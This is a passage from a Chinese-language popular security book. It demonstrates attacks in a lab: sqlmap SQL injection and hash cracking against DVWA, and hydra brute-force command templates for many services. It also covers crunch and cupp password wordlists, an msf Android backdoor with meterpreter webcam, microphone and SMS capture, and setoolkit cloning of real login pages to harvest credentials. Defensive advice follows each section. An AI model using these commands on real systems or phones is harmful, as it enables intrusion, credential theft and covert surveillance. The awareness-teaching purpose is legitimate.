回车后中间会有几个选项，每项含义如下

it looks like the back-end DBMS is ‘MySQL’. Do you want

to skip test payloads specific for other DBMSes? [Y/n] #看

起来后端 DBMS 是“mysql”。是否要跳过特定于其他 DBMS 的测试

有效负载？ #已经识别出来 mysql 数据库，直接跳过，不在扫描其

他类型的数据库，输入 Y
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for the remaining tests, do you want to include all tests

for‘MySQL’extending provided level (1) and risk (1) values?

[Y/n] #对于其余的测试，是否要包括扩展提供的级别（1）和风险

（1）值的“mysql”的所有测试？ #不需要其他测试，直接输入 n

GET parameter ‘id’ is vulnerable. Do you want to keep

testing the others (if any)? [y/N]

#get 参数“id”易受攻击。你想继续测试其他人吗（如果有的

话）？[y/n] 输入 n

执行完成后会显示当前数据库及用户名称，如图 4.3.1.10 所

示：

图 4.3.1.10 查询当前数据库登录用户及数据库名称

1）说明我们可以拿到数据库权限，下面就可以展开一系列的

查询了，如图 4.3.1.11 所示，使用命令枚举所有登录 mysql 数据

库的用户名和密码 hash 值，后期可以对密码 hash 进行破解，生成

明文密码

常用参数：
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--string : 当查询可用时用来匹配页面中的字符串

--users : 枚举 DBMS 用户

--passwords : 枚举 DBMS 用户密码 hash

弹出消息的含义：

do you want to store hashes to a temporary file for

eventual further processing withother tools [y/N] #是否要

将哈希存储到临时文件中，以便最终使用其他工具进行进一步处理

do you want to perform a dictionary-based attack against

retrieved password hashes? [Y/n/q]

#是否要对检索到的密码哈希执行基于字典的攻击？输入 y

what dictionary do you want to use? #你想用什么字典？

[1] default dictionary file

‘ /root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip ’

(press Enter)

#默认字典文件’

/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip ’
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（按 Enter 键）

[2] custom dictionary file #自定义词典文件

[3] file with list of dictionary files #带字典文件列表

的文件

#直接回车，使用默认字典

do you want to use common password suffixes? (slow!) [y/N]

#是否要使用常用密码后缀？（慢！）输入 y

运行结果如下图4.3.1.11所示，破解出root账户密码为root：

图 4.3.1.11 破解密码

2）枚举 DVWA 库中的表
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常用参数

-D : 要枚举的 DBMS 数据库

–tables : 枚举 DBMS 数据库中的数据表

运行结果如图 4.3.1.12 所示：

图 4.3.1.12 查询 dvwa 数据库中的数据表

3）获取 dvwa 库中 users 表的所有列名字

常用参数

-T : 要枚举的 DBMS 数据库表

–columns : 枚举 DBMS 数据库表中的所有列

运行结果如图 4.3.1.13 所示：
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图 4.3.1.13 查询 users 表的列名

4）拖库，获取 dvwa 库中 users 表的所有列的名字

拖库本来是数据库领域的术语，指从数据库中导出数据。到了

黑客攻击泛滥的今天，它被用来指网站遭到入侵后，黑客窃取其数

据库。

常用参数：

-T : 要枚举的 DBMS 数据表

-C: 要枚举的 DBMS 数据表中的列

–dump : 转储 DBMS 数据表项

弹出消息含义：

do you want to store hashes to a temporary file for

eventual further processing withother tools [y/N] #是否要

将哈希值存储到临时文件中，以便其他工具进行处理？
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do you want to crack them via a dictionary-based attack?

[Y/n/q]

#你想通过基于字典的攻击破解它们吗？dictionary-based

attack 基于字典的攻击

what dictionary do you want to use? #你想用什么字典？

[1] default dictionary file

‘ /root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip ’

(press Enter)

#默认字典文件’

/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip ’

（按 Enter 键）

[2] custom dictionary file #自定义词典文件

[3] file with list of dictionary files #带字典文件列表

的文件

#直接回车，使用默认字典

do you want to use common password suffixes? (slow!) [y/N]

#是否要使用常用密码后缀？（慢！）输入 y

运行结果如图 4.3.1.14 所示：
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图 4.3.1.14 成功猜解除用户及密码并保存在 user.csv 文件中

我们来打开看一下这个文件，确实已经将账号密码保存下来了，

这样就完成了拖库，如图 4.3.1.15 所示：

图 4.3.1.15 成功拖库

然后黑客就可以用管理员账号登录后台进行网站篡改，或者拿

下服务器甚至用这些账号密码再去撞库获取更多利益等等。

总结：本节展示了通过 SQL 注入攻击入侵一个网站的过程，这
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里建议大家把密码设置的复杂一些，降低破解难度，不要用相同的

密码，不要再陌生网站注册个人信息。因为有的网站可能需要实名

认证需要上传身份证照片等等，一旦这些信息泄露造成的后果非常

可怕，所以看到现在你是不是意识到网站入侵其实和每个人息息相

关。如果黑客给网站挂马，那么访问这个网站的电脑就都会中木

马……,总之黑客可操作利用的空间非常大，因此一定要小心，提

前做好防御。

4.3.2 密码暴力破解

密码暴力破解是指利用字典来进行暴力破解，理论上只要字典

足够强大就一定可以破解的，下面我们来介绍一款工具 hydra，它

是一款非常强大的破解工具，支持很多个协议的破解，具体我们先

看一下帮助文档，如图 4.3.2.1 所示：
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图 4.3.2.1 hydra 参数

这里常用到的参数-l代表用户名,-L 代表用户名文件，-p代表

密码,-P 代表密码文件，-s指定端口，再来看一下它支持的破解类

型包括哪些，如图 4.3.2.2 所示：

图 4.3.2.2 支持的破解服务类型

和网站相关常用的基本都包括了，例如 ftp、mysql、http、
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oracle、rdp 等等，那么这个该如何使用呢，我们来看一下给出的

案例语法，如图 4.3.2.3 所示：

图 4.3.2.3 给出的案例语法

下面我们来做一个测试，我在物理机中利用 phpstudy 新建一

个 ftp，用户名为 admin，密码为 password，如图 4.3.2.4 所示：

图 4.3.2.4 新建 ftp 空间

然后我们在 mytest 目录下新建两个文件:user.txt、pass.txt

用来存放待尝试的用户和密码，如图 4.3.2.5 所示：
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图 4.3.2.5 配置账号和密码字典

然后构建语句开始暴力破解，如图 4.3.2.6 所示：

图 4.3.2.6 成功破解出账号密码

在 result 文件中也会记录账号密码信息，如图 4.3.2.7 所示：
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图 4.3.2.7 result 文件

命令语法解释：

hydra -L /root/mytest/user.txt -P /root/mytest/pass.txt

ftp://172.20.10.2 -t 6 -v -f -o /root/mytest/result.txt –

q

-L /root/mytest/user.txt：指定用户名字典文件

-P /root/mytest/pass.txt：指定密码字典文件

ftp://172.20.10.2：指定破解主机地址及协议模式

-t 6：指定采用 6个线程进行破解

-v：显示详细过程

-f：找到第一对登录名或者密码的时候中止破解

-o /root/mytest/result.txt：将破解结果进行保存

–q：屏蔽显示连接错误的消息



黑客解密档案

第 177 页

更多参数详见如下：

-R 继续从上一次进度接着破解。

-S 采用 SSL 链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户，对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写，指定密码破解，少用，一般是采用密码字典。

-P FILE 大写，指定密码字典。

-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试

探。

-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P

参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M 参数以后，找到第一对登录名或者密码的时候中

止破解。

-t TASKS 同时运行的线程数，默认为 16。

-w TIME 设置最大超时的时间，单位秒，默认是 30s。

-v / -V 显示详细过程。
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server 目标 ip

service 指定服务名，支持的服务和协议：telnet ftp

pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}

http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2

ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec

rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm]

pcanywhere teamspeak sip vmauthd firebird ncp afp 等等。

更多破解语法如下：

1.破解 ssh：

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

# hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip

ssh

2.破解 ftp：

# hydra ftp://ip -l 用户名 -P 密码字典 -t 线程(默认 16)

-vV

# hydra ftp://ip -l 用户名 -P 密码字典 -e ns -vV

3.破解 web 登录，get 方式：

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip

http-get /admin/
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# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip

http-get /admin/index.php

4.破解 web 登录，post 方式：

# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form

"/admin/login.php:username=^USER^&password=^PASS^&sub

mit=login:sorry password"

# hydra -t 3 -l admin -P pass.txt -o out.txt -f

172.20.10.2 http-post-form

"login.php:id=^USER^&passwd=^PASS^:wrong username or

password"

（参数说明：-t 同时线程数 3，-l 用户名是 admin，字典

pass.txt，保存为 out.txt，-f 当破解了一个密码就停止，

172.20.10.2目标ip，http-post-form表示破解是采用http的post

方式提交的表单密码破解,<title>中的内容是表示错误猜解的返

回信息提示。）

5.破解 https：

# hydra -m /index.php -l muts -P pass.txt 172.20.10.2

https

6.破解 teamspeak：



黑客解密档案

第 180 页

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip

teamspeak

7.破解 cisco：

# hydra -P pass.txt 172.20.10.2 cisco

# hydra -m cloud -P pass.txt 172.20.10.2 cisco-enable

8.破解 smb：

# hydra -l administrator -P pass.txt 172.20.10.2 smb

9.破解 pop3：

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解 rdp（远程桌面）：

# hydra ip rdp -l administrator -P pass.txt -V

11.破解 http-proxy：

# hydra -l admin -P pass.txt http-proxy://172.20.10.2

12.破解 telnet:

# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns

-f -V

13.破解 imap：

# hydra -L user.txt -p secret 172.20.10.2 imap PLAIN

# hydra -C defaults.txt -6
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imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

14.破解 mysql：

# hydra -l root –P pass.txt –e ns 172.20.10.2 mysql

通过以上内容我们明白只要黑客的字典足够强大是肯定可以

破解的，那么现在破解方法也有了，唯一缺的就是强大的密码字典，

这个字典该怎么弄呢？

这里分为两种，一种是经过社会工程学字典生成的密码文件，

这类文件更加具有针对性，第二种是用市面上大家常用的密码做为

字典，这类字典破解率还是比较高的，第三种就是利用工具生成的

排列组合密码，这类字典往往体积非常大，动辄几百个 G，在万不

得已的情况下再用第三种。

Crunch 密码字典生成工具：

参数详解：

min 设定最小字符串长度（必选）

max 设定最大字符串长度（必选）

oprions

-b 指定文件输出的大小，避免字典文件过大

-c 指定文件输出的行数，即包含密码的个数

-d 限制相同元素出现的次数
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-e 定义停止字符，即到该字符串就停止生成

-f 调用库文件（/etc/share/crunch/charset.lst）

-i 改变输出格式，即 aaa,aab -> aaa,baa

-I 通常与-t 联合使用，表明该字符为实义字符

-m 通常与-p 搭配

-o 将密码保存到指定文件

-p 指定元素以组合的方式进行

-q 读取密码文件，即读取 pass.txt

-r 定义重某一字符串重新开始

-s 指定一个开始的字符，即从自己定义的密码 xxxx

开始

-t 指定密码输出的格式

-u 禁止打印百分比（必须为最后一个选项）

-z 压缩生成的字典文件，支持 gzip,bzip2,lzma,7z

% 代表数字

^ 代表特殊符号

@ 代表小写字母

, 代表大写字符

使用案例如下：
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(1)生成 pass01-pass99 所有数字组合

crunch 6 6 -t pass%% >>newpwd.txt

图 4.3.2.8 生成 pass01-pass99 所有数字组合
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(2)生成六位小写字母密码，其中前四位为 pass

crunch 6 6 -t pass@@ >>newpwd.txt ，这里为了便于展示

就不重定位到 newpwd.txt 了，下同。

图 4.3.2.9 生成六位小写字母密码，其中前四位为 pass

(3)生成六位密码，其中前四位为 pass，后二位为大写

crunch 6 6 -t pass,, >>newpwd.txt

图 4.3.2.10 生成六位密码，其中前四位为 pass，后二位为大写
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(4)生成六位密码，其中前四位为 pass，后二位为特殊字符

crunch 6 6 -t pass^^ >>newpwd.txt

图 4.3.2.11 生成六位密码，其中前四位为 pass，后二位为特殊字符

社工字典 cupp:

Kali 自带工具中没有这个，因此我们需要安装一下，输入

apt-get install cupp 如图 4.3.2.14 所示：

图 4.3.2.14 安装 cupp
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根据提示输入 cupp –I 开始启动，输入相关信息，这里我就

针对目标随意输入一些，如图 4.3.2.15 所示：

图 4.3.2.15 启动 cupp

设置相关信息，如姓名、昵称、对象名字、生日、孩子信息、

宠物信息、特殊数字等：

图 4.3.2.16 设置参数
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最终生成了 9077 个和我自身相关的密码，我们打开看一下都

是什么样的密码，如图 4.3.2.17 所示;

图 4.3.2.17 社工密码字典

内行看门道，我们来看一下该工具虽然是基于我上面的输入信

息来生成的字典，但是他生成的字典很有逻辑性，但从我公司代号

ts这一点来看，他能想到与年份相结合，而这种与年份相结合的形

式在公司办公当中非常常见，之前我没有拿自己的信息做过测试，

这里为了写书的严谨性直接用自己的信息来测试，结果很恐怖，因

为 ts2019 就是我本机电脑的开机密码，如果黑客通过 hydra 工具

来破解登录密码，那么这 9000 多个密码最多 20秒就能全部跑完然

后成功提示密码为 ts2019,现在想想后背都有点发凉，这就是利用
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了人性的漏洞来进行破解。

其它关于入侵网站的方法如上传漏洞、数据库备份漏洞等就不

一一解密了，大家了解以上内容知道网站安全性有多重要能做好防

御就好了。

4.4 我该如何防御？

1）陌生网站不要打开、注册

2）网络账户使用不同密码

3）提高密码复杂度，大小写字母+数字+特殊字符

4）不要在网上填写真实信息，如你的姓名等，如有必要（实

名认证）再填写

五、移动端攻击档案

5.1 点击链接钱就消失是真的吗？

首先可以明确回答你：是真的！

其实不单单是点击链接，当你扫二维码时也可以掉进陷阱，二

维码本身就有链接二维码，扫码就相当于点击链接了。其实本质就

是点击链接之后有程序控制了你的手机，比如可以读取你手机里面

的照片信息，读取短信通知，读取联系人信息等等。这样当你的手

机相册中存有银行卡照片、身份证图片的时候，你的账户就非常危
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险了。因为目前银行系统等认证手段都是通过身份证来进行的，也

许你会说现在不都刷脸了吗？但是刷脸也需要和身份证对上才可

以。至于刷脸，黑客是怎么获取你面部信息的呢？这个就更简单了，

黑客通过木马程序直接开启你的摄像头就可以获取你面部信息了。

这样下来，假设某天你再陌生地方扫二维码，然后你的手机就

被控制了，黑客从你的相册中可以找出身份证和银行卡信息，然后

远程登录你的支付宝或者网上银行，重置登录密码、重置支付密码、

上传身份证、手机短信验证码这些都可以获取，因此很容易将你账

户里的钱转走。

当然还有其它方法都可以实现黑客的目的，所以说网络世界

真的很可怕。

5.2 黑客是如何攻击的？

这里我们还是用msf后门程序来演示一下黑客入侵手机之后都

可以做哪些事情，目标手机为我的 android 手机，攻击系统还是采

用 kali，我们先生成 android 的后门程序，如图 5.2.1 所示：
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图 5.2.1 生成 android 木马

我们将生成后的木马拷贝到物理机，如图 5.2.2 所示：

图 5.2.2 拷贝到桌面

然后我们通过 QQ发给我的小号海棠妹妹，如图 5.2.3 所示：

图 5.2.2 发送给小号
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手机端接收后安装这个程序，由于没有做免杀所以提示报毒，

需手动打开权限，如果做好免杀就不用这些设置了，如图 5.2.3 所

示：

图 5.2.3 安装程序

然后我们将安卓手机也连接无线，这样安卓手机和 kali 都是

连接的同一个无线网络，相互之间在局域网内。我们先开启监听，
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如图 5.2.4 所示，开启监听成功：

图 5.2.4 开启监听

然后我们再手机端点击运行这个 MainActivity 程序，如图

5.2.5 所示：

图 5.2.5 点击运行程序
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此时kali系统成功反弹了一个meterpreter，如图5.2.6所示，

由于我连续点击了多次所以生成了好多 session，我们默认选择第

一个就行：

图 5.2.6 返回 tcp 连接

我们看一下他的帮助文档，输入help如图5.2.7-5.2.10所示：

图 5.2.7 核心命令
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图 5.2.8 文件命令

上图的文件命令可用于查找身份证等图片文件。

图 5.2.9 针对于操作系统的命令
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图 5.2.10 交互命令，如截屏等

图 5.2.11 摄像头命令

图 5.2.12 应用命令

通过这些命令大家已经想到了，下面就来演示可以进行的操作：

1）app_list：查看手机中安装的 app
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图 5.2.13 列出手机安装的所有应用

2）webcam_list:查看摄像头列表

图 5.2.14 查看摄像头列表

3）webcam_snap -i 2 利用前置摄像头拍照

照片保存在/root/SGKOymun.jpeg 文件里，同时会自动打开，

这里我发型比较乱就打个马赛克了~~

图 5.2.15 利用前置摄像头拍照
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4）webcam_stream 完成录像功能，帮助文档如下：

图 5.2.16 帮助文档

我们利用前置摄像头录制一个 5秒的视频，如图 5.2.17 所示：

图 5.2.17 录制视频

5）record_mic -d 5 调用录音录制 5 秒音频

图 5.2.18 录音
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6）dump_calllog 获取通话记录

图 5.2.19 获取通话记录

图 5.2.20 查看通话记录

7）dump_sms 获取短信通知

图 5.2.21 获取短信
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图 5.2.22 查看短信

8）其它还有很多，例如隐藏图标，此时手机端就找不到这个

图标了，但程序依然在运行。

图 5.2.23 隐层图标

以上就是本节演示的移动端攻击所用到的一些技术，当然技术

远不止这些，这里大家能了解一些常用方法就足够了。如果这个程

序以链接的形式进行入侵，同时做好免杀，与第三方软件进行捆绑，
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那么是很难被发现的。

5.3 如何防御？

1）不要在陌生环境链接 wifi，因为黑客可以通过局域网扫描

你手机系统漏铜直接运行后门程序

2）不要请以点击陌生链接

3）不要安装陌生应用

4）安装应用要到官网或应用商店下载

5）手机中不要存放身份证、银行卡等照片

六、社会工程学攻击档案

6.1 什么是社会工程学攻击？

这里我先列举几个真实案例，

案例 1：一个男孩生病了，在北京专科医院治疗半个月后就回

家了，回家后继续服用在医院拿的药，过了几天，男孩家长突然接

到当地邮政快递员电话，说有一盒治疗 XX 疾病的药品，是从北京

寄过来的，需要到付。家长第一反应肯定是之前这家医院给邮寄过

来的，于是付了钱，等回家打开包装和一看，瓶里装的都是糖果，

家长突然明白被骗了。

案例 2：某男孩收到银行官方客服号码打来的电话，说身份证
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到期了请尽快在短信中点击链接更新身份证，男孩一看是官方客服

的号码，于是点击了短信链接填写资料，随后账户里的 2 万多元钱

就被转走了。

案例 3：某员工在公司登录银行官网，在百度中搜索的：“XX

银行”，也是点击的带有官网标记的网址，网址没有错，登录进去

之后界面也没有错，但是他输入账号密码后别人就获取他信息了。

下面是关于社会工程学攻击的百度百科解释：

社会工程攻击，是一种利用"社会工程学" 来实施的网络攻击

行为。

社会工程学，准确来说，不是一门科学，而是一门艺术和窍门

的方术。社会工程学利用人的弱点，以顺从你的意愿、满足你的欲

望的方式，让你上当的一些方法、一门艺术与学问。说它不是科学，

因为它不是总能重复和成功，而且在信息充分多的情况下，会自动

失效。社会工程学的窍门也蕴涵了各式各样的灵活的构思与变化因

素。社会工程学是一种利用人的弱点如人的本能反应、好奇心、信

任、贪便宜等弱点进行诸如欺骗、伤害等危害手段，获取自身利益

的手法。

现实中运用社会工程学的犯罪很多。短信诈骗如诈骗银行信用

卡号码，电话诈骗如以知名人士的名义去推销诈骗等，都运用到社
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会工程学的方法。

近年来，更多的黑客转向利用人的弱点即社会工程学方法来实

施网络攻击。利用社会工程学手段，突破信息安全防御措施的事件，

已经呈现出上升甚至泛滥的趋势。

社会工程学是未来 10 年最大的安全风险，许多破坏力最大的

行为是由于社会工程学而不是黑客或破坏行为造成的。一些信息安

全专家预言，社会工程学将会是未来信息系统入侵与反入侵的重要

对抗领域。

所有社会工程学攻击都建立在使人决断产生认知偏差的基础

上。有时候这些偏差被称为“人类硬件漏洞”，足以产生众多攻击

方式，其中一些包括：

1）假托（pretexting）

假托（pretexting）是一种制造虚假情形，以迫使针对受害人

吐露平时不愿泄露的信息的手段。该方法通常预含对特殊情景专用

术语的研究，以建立合情合理的假象。

2）调虎离山（diversion theft）

在线聊天/电话钓鱼（IVR/phone phishing，IVR: interactive

voice response）

3）下饵（Baiting）
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等价交换（Quid pro quo）攻击者伪装成公司内部技术人员或

者问卷调查人员，要求对方给出密码等关键信息。在 2003 年信息

安全调查中，90%的办公室人员答应给出自己的密码以换取调查人

员声称提供的一枝廉价钢笔。后续的一些调查中也发现用巧克力和

诸如其他一些小诱惑可以得到同样的结果（得到的密码有效性未检

验）。攻击者也可能伪装成公司技术支持人员，“帮助”解决技术

问题，悄悄植入恶意程序或盗取信息。

4）尾随（Tailgating or Piggybacking）

尾随通常是指尾随者利用另一合法受权者的识别机制，通过某

些检查点，进入一个限制区域。

6.2 黑客是如何利用信息攻击的呢？

社会工程学攻击是以不同形式和通过多样的攻击向量进行传

播的。这是一个保持不断完善并快速发展的艺术。

1）伪造一封来自好友的电子邮件：这是一种常见的利用社会

工程学策略从大堆的网络人群中攫取信息的方式。在这种情况下，

攻击者只要黑进一个电子邮件帐户并发送含有间谍软件的电子邮

件到联系人列表中的其他地址簿。值得强调的是，人们通常相信来

自熟人的邮件附件或者是链接，这便让攻击者轻松得手。

在大多数情况下，攻击者利用受害者账户给你发送电子邮件，
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声称你的“朋友”因旅游时遭遇抢劫而身陷国外。他们需要一笔用

来支付回程机票的钱，并承诺一旦回来便会马上归还。通常，电子

邮件中含有如何汇钱给你“被困外国的朋友”的指南。

2）钓鱼攻击：这是个运用社会工程学策略获取受害者的机密

信息的老把戏了。大多数的钓鱼攻击都是伪装成银行、学校、软件

公司或政府安全机构等可信服务提供者，例如 FBI。

通常网络骗子冒充成你所信任的服务提供商来发送邮件，要求

你通过给定的链接尽快完成账户资料更新或者升级你的现有软件。

大多数网络钓鱼要求你立刻去做一些事，否则将承担一些危险的后

果。点击邮件中嵌入的链接将把你带去一个专为窃取你的登录凭证

而设计的冒牌网站。

钓鱼大师们另一个常用的手段便是给你发邮件声称你中了彩

票或可以获得某些促销商品，要求你提供银行信息以便接收彩金。

在一些情况下，骗子冒充警察表示已经找回你“被盗的钱”，因此

需要你提供银行信息一边拿回这些钱。

在 6.1 案例 1 中，黑客通过一些途径获取到了这家医院的病人

资料，然后通过邮寄药品的形式来实施社会工程学攻击。在案例 2

中黑客先是通过改号器等工具来伪造电话号码，然后制作木马链接，

最后通过社工打电话的方式实施攻击。
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本节我们解密一下在 kali 中的社会工程学攻击工具

setoolkit，首先我们在终端中输入命令如图 6.2.1 所示：

图 6.2.1 输入命令 setoolkit

敲回车，出现菜单如图 6.2.2 所示：

图 6.2.2 banner 信息

然后我们继续往下拖动即可看到功能菜单，如图 6.2.3 所示：
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图 6.2.3 功能菜单

我们选择 1社会工程学攻击，然后按回车，如图 6.2.4 所示：

图 6.2.4 二级菜单

这里有关社会工程学攻击的方式比较多，我们来看一下第二个

网站攻击，选择 2 按回车，如图 6.2.5 所示：
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图 6.2.5 攻击方法菜单

我们选择第三个用来获取账号密码等信息的攻击方法，按 3 然

后回车，如图 6.2.6 所示：

图 6.2.6 网站生成方式

这里如果黑客有网站钓鱼程序可以直接选择 1，由于我们没有

现成的程序，因此需要克隆，这里我选择 2，克隆网站，输入 2 按
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回车如图 6.2.7 所示：

图 6.2.7 设置 IP 地址

这里设置 IP 的服务地址，默认就是 kali 本机这台 IP：

192.168.0.109，因此这里我就直接按回车了，如图 6.2.8 所示：

图 6.2.8 设置 IP

然后开始设置我们要克隆的网站，这里我们选择一个网站如图

6.2.9 所示，这是 BIMSIX 平台官网的登录页面，网址为：

http://www.bimsix.com/index.php?c=welcome&m=login。
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图 6.2.9 克隆的目标网站

好的现在我们在 kali 系统中输入这个网址，然后按回车，如

图 6.2.10 所示：

图 6.2.10 设置要克隆的网站页面

从图中提示信息不难看出已经成功启动服务，并运行在 80 端

口，下面我们在 win10 系统中输入 192.168.0.109 打开页面如图

6.2.11 所示，克隆网站与原网站一模一样：
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图 6.2.11 成功打开克隆的网址

此时，kali 系统已经监听到了 192.168.0.110 这台 win10 主机

访问了克隆网站，如图 6.2.12 所示，提示发送了 get 请求：

图 6.2.12 成功监听

下面我们在克隆网站输入账号：dongwenlong,密码：123456，

然后点击提交，如图 6.2.13 所示：
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图 6.2.13 输入账号密码

然后在 kali 系统中成功监听到账号密码，如图 6.2.14 所示：

图 6.2.14 成功监听到账号密码

下面我们换一个政府的网站，比如北京市人力资源和社会保障

局 个人登录页面，如图 6.2.15 所示：
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图 6.2.15 政府类网站

我们重新克隆一下，如图 6.2.16 所示，输入网址并按回车：

图 6.2.16 成功开启监听

我们输入 192.168.0.109 网址，成功克隆网站，然后输入账号：

dongwnelong，密码 666666,如图 6.2.17 所示：

这里没有显示验证码，我们随便输入一个然后点击登录。
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图 6.2.17 成功克隆网站

Kali 依然实现了监听，只不过由于验证码问题，目前只捕捉到

了 MD5 加密后的密码，如图 6.2.18 所示：

图 6.2.18 成功捕获密码

我们去cmd5.com进行破解，如图6.2.19所示成功破解出密码：
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图 6.2.19 成功破译密码

虽然政府这个网站在登录这一块做的相对好一点，但是依然可

以捕获密码，黑客完全可以把整个网站都拷贝下来，把登录这部分

代码修改，使得验证码图片能够正常显示。

我们现在是用 kali 的 ip 来进行模拟的，前面我们有讲过关于

dns 劫持的内容，试想一下我们我们对域名进行劫持，那么当你访

问官方网站的时候实际上打开的是钓鱼网站，而你自己毫无察觉，

唯一的现象是你第一次登录的时候会登录失败然后重新加载这个

网站，第二次通过程序就自动解除 dns 攻击，这样你就可以登录成

功了。

目前我们只介绍了这一款社会工程学攻击工具，其实这类的工

具非常多，比如电子邮件工具，假设张三和李四是 A 公司的员工，

关系比较好，王五是 B 公司的员工，AB两家公司在竞争做同一款产
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品，王五提前通过社工获取到如下信息：

1）张三和李四是同时入职的，

2）因为李四表现好所以升职了，张三爱谈贪便宜，遭到同事

排挤

3）张三从心里嫉妒李四，但表面上还是好朋友

4）张三有 A公司产品研发资料

根据以上信息王五就可以通过工具发送一封邮件，发件人填写

李四邮箱，收件人是张三邮箱，内容大意可以是请将研发资料上交，

并清除电脑所有攻击私密资料。言外之意就是要开除张三，由于发

件邮箱确实显示的是李四邮箱，张三不会怀疑的。这样就会造成张

三更加恨李四，这个时候再通过其他途径挖人或者直接获取资料，

例如利用贪念给张三巨额资金从他这里购买研发资料。总之，黑客

技术可以与三十六计相结合，穿梭于网络与现实之间，可以实施的

空间非常大……

6.3 如何防范？

1）当心来路不明的服务供应商等人的电子邮件、即时简讯以

及电话。在提供任何个人信息之前验证其可靠性和权威性。

2）缓慢并认真地浏览电子邮件和短信中的细节。不要让攻击
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者消息中的急迫性阻碍了你的判断。

3）永远不要点击来自未知发送者的电子邮件中的嵌入链接。

如果有必要就使用搜索引擎寻找目标网站或手动输入网站 URL。

4）永远不要在未知发送者的电子邮件中下载附件。如果有必

要，可以在保护视图中打开附件，这个在许多操作系统中是默认启

用的。

5）拒绝来自陌生人的在线电脑技术帮助，无论他们声称自己

是多么正当的。

6）使用强大的防火墙来保护你的电脑空间，及时更新杀毒软

件同时提高垃圾邮件过滤器的门槛。

7）下载软件及操作系统补丁，预防零日漏洞。及时跟随软件

供应商发布的补丁同时尽可能快地安装补丁版本。

8）关注网站的 URL。有时网上的骗子对 URL 做了细微的改动，

将流量诱导进了自己的诈骗网站

本章以上内容参考百度百科。

社会工程学攻击这个涉及到的面很广，有的黑客本身不会多少

黑客技术，但是社会工程学攻击玩的很牛，那么他依然是一名顶级

黑客。因为社会工程学获得的成果有时候往往比黑客技术获得的成

果要丰硕，因为他利用了人性的漏洞，而人性很多时候都关注于什
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么木马病毒，往往忽视了自己猜是最大的漏洞，因此社会工程学攻

击成功率非常高。有时候你需要几天才能用黑客技术破解一个密码，

但是社会工程学攻击可能一会就拿到密码了。

如果黑客将社会工程学攻击与黑客技术完美结合，那真的是太

可怕了。因为成功率几乎可以说是 99%，比如黑客伪造发件人邮箱，

是的发件箱和真实的一模一样，普通人无法分辨，这个时候利用邮

件发送一些钓鱼等连接成功率就很高。因为对于普通用户而言这就

是官方邮件。

七、综合攻击分析

7.1 什么是综合攻击？

综合攻击指的是将一切能够实现目的以及能够辅助实现目的

的方法进行综合运用的攻击方案。它是社会工程学攻击技术与黑客

技术的完美艺术品。

7.2 黑客是如何进行综合攻击的？

黑客有非常多的技术性攻击技术，再加上社会工程学攻击的多

样性，可以好不夸张的说如果排列组合的话上万种都不止，黑客往

往是根据需要灵活的采用不同组合方式。
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案例：小张是一名黑客，要窃取竞争对手公司的产品设计方案，

他可以采取哪些攻击方式呢？

1）直接入侵外网服务器，查找是否有资料，如没有再入侵内

网查找资料

2）先用 ddos 攻击网站或者其它方式攻击电脑是的不能正常运

转，然后伪装成电脑维修师傅，进去直接就说：“你们张总让我过

来维修 XX办公室的电脑”，然后在这个过程中安装上木马后门

3）以其它方式获得无线密码，然后连接无线 wifi，进而入侵

内网服务器

4）通过其他方式获取到公司内部流程审批文件，获取文件格

式及公章，然后伪造命令文件，比如黑客以公司领导邮箱发送给行

政，把公司账号密码整理一份邮件回复给你，为了保险你还可以说：

“把文件打包设置一个 6 位数密码，避免信息泄露”，行政一看心

里在想：“不亏是领导，想的真周到”，其实这 6 位的压缩包密码

对于黑客来说 2秒钟就可以破解，黑客只是为了降低对方的防范故

意这么说的。
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八、防御总结

8.1 做好系统应用防御

1）打开防火墙，安装两款杀毒软件，国内国外各一款，病毒

库要经常更新

2）及时给系统打补丁，修复漏洞

3）关闭常用入侵端口，如 445、3389 等

8.2 弥补人性的漏洞

1）不要轻易接收陌生文件，避免是后门等程序

哪怕是你领导发给你的文件，也都要小心，您为你不知道是不

是他安全意识薄弱导致这个文件已经被感染了，或者你为 XX.txt

不是程序文件没事的，大错特错，几乎所有文件都可以捆绑程序。

2）不要在第三方平台下载程序，请去官网下载，避免捆绑后

门

在地方平台下载程序，很多时候都是出于想下载破解版不得

已而为之，但是一定要去比较大的下载站去下载，下载下来之后用

杀毒软件扫一下。这里推荐还是去官网下载正版。

3）不要点开陌生链接、不要轻易扫码

例如短信中写的是：“这是你老公与小丽的不雅照，有本事你



黑客解密档案

第 220 页

就别看！http：//XXXX.com/xxxx”，即便是最近这几天你正因为

老公出轨在生气，一定要压制怒火，因为你这几天得到老公出轨的

消息可能别人通过社工故意让你知道的，目的就是让你在生气中一

冲突点击链接。

4）密码长度要尽量长一些，最好 10位以上且包含大写字母、

小写字母、数字、特殊字符，增加破解难度

对于一个 16 位、包含大小写、数字、特殊字符的密码来说破

解难度还是很大的，但是不要有规律性。你别直接设置一个

DONGwenlong1314.,这样的密码很容易通过密码字典组合出来，因

此不要这样做。你可以自定义一个规则比如你爱吃鱼，你爱开车，

你爱喝玉米粥，那么你可以用字母 A 来代表鱼头，用.来代表鱼眼

睛，用 Car 代表车，用 Zhou…代表玉米粥，初步拼接是：A.CarZhou…,

加入“我”元素 I，加上去赚钱的元素：“$”，此时密码为：

